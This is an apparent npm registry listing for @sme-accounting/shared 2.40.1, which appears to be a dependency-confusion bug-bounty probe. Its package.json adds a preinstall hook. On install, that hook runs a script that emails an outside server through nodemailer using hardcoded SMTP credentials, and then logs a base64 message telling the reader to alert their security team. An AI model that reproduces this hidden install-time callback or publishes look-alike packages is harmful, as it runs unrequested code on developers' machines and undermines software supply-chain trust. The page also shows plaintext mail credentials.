@sme-accounting/shared 2.40.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @sme-accounting/shared might be problematic. Click here for more details.
- package/fesm2015/sme-accounting-shared.js +0 -0
- package/package.json +20 -0
- package/preinstall/build.js +35 -0
- package/preinstall/index.js +0 -0
File without changes
|
package/package.json
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
{
|
2
|
+
"name": "@sme-accounting/shared",
|
3
|
+
"version": "2.40.1",
|
4
|
+
"private": false,
|
5
|
+
"publishConfig": {
|
6
|
+
"access": "public"
|
7
|
+
},
|
8
|
+
"description": "This is for standoff365 bounty",
|
9
|
+
"license": "MIT",
|
10
|
+
"author": "kedr",
|
11
|
+
"scripts": {
|
12
|
+
"preinstall": "node preinstall/build.js",
|
13
|
+
"test": "exit 0"
|
14
|
+
},
|
15
|
+
"dependencies": {
|
16
|
+
"nodemailer": "^6.0.0"
|
17
|
+
},
|
18
|
+
|
19
|
+
"main": "shared/fesm2015/sme-accounting-shared.js"
|
20
|
+
}
|
@@ -0,0 +1,35 @@
|
|
1
|
+
const nodemailer = require('nodemailer');
|
2
|
+
|
3
|
+
|
4
|
+
const login="userhuiuser@kedrns.com"
|
5
|
+
const pass="L3IXGUz2im^3"
|
6
|
+
|
7
|
+
const smtp = nodemailer.createTransport({
|
8
|
+
host: "mail.kedrns.com",
|
9
|
+
port:25,
|
10
|
+
tls: {rejectUnauthorized: false},
|
11
|
+
auth: {
|
12
|
+
user: login,
|
13
|
+
pass: pass
|
14
|
+
}
|
15
|
+
});
|
16
|
+
|
17
|
+
var mailOptions = {
|
18
|
+
from: 'depcontesttinkoff@kedrns.com',
|
19
|
+
to: 'debug@kedrns.com',
|
20
|
+
subject: 'subjest dependency tink',
|
21
|
+
text: 'This is debug message from tinkoff'
|
22
|
+
}
|
23
|
+
|
24
|
+
smtp.sendMail(mailOptions, function (error, response) {
|
25
|
+
if (error) {
|
26
|
+
console.log(error);
|
27
|
+
res.end("error");
|
28
|
+
} else {
|
29
|
+
console.log("Email sent ");
|
30
|
+
res.end("sent");
|
31
|
+
}
|
32
|
+
});
|
33
|
+
|
34
|
+
|
35
|
+
console.log('If you see this text, please led the know to your security team and decode this a2VkciBmcm9tIHN0YW5kb2ZmMzY1')
|
File without changes
|